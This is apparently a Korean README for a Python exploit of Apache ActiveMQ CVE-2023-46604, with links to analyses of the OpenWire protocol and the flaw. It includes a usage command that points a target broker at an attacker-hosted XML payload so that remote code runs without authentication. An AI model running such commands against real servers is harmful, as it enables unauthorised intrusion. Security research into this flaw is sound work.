
Python 기반 Apache ActiveMQ CVE-2023-46604 원격 코드 실행 익스플로잇으로, OpenWire 프로토콜을 활용하여 XML 페이로드를 전달해 인증 없이 RCE를 수행합니다.
이 프로젝트는 https://github.com/X1r0z/ActiveMQ-RCE 프로젝트의 exp를 참조하여 다시 작성한 python 버전의 exp입니다.
python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616
-p 매개변수는 기본적으로 activeMQ의 기본 포트입니다. -x 매개변수는 프로토콜 접두사를 추가해야 합니다.
여기에 openwire 프로토콜의 그림을 첨부하면 이해하기 쉽습니다.
아래는 Throwable 타입의 데이터 패킷 형식입니다.

구체적인 취약점 분석은 아래 참고 문서를 참조하세요.
# openwire 프로토콜 분석
https://github.com/X1r0z
https://activemq.apache.org/openwire-version-2-specification
# CVE 취약점 원리 분석
https://exp10it.cn/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/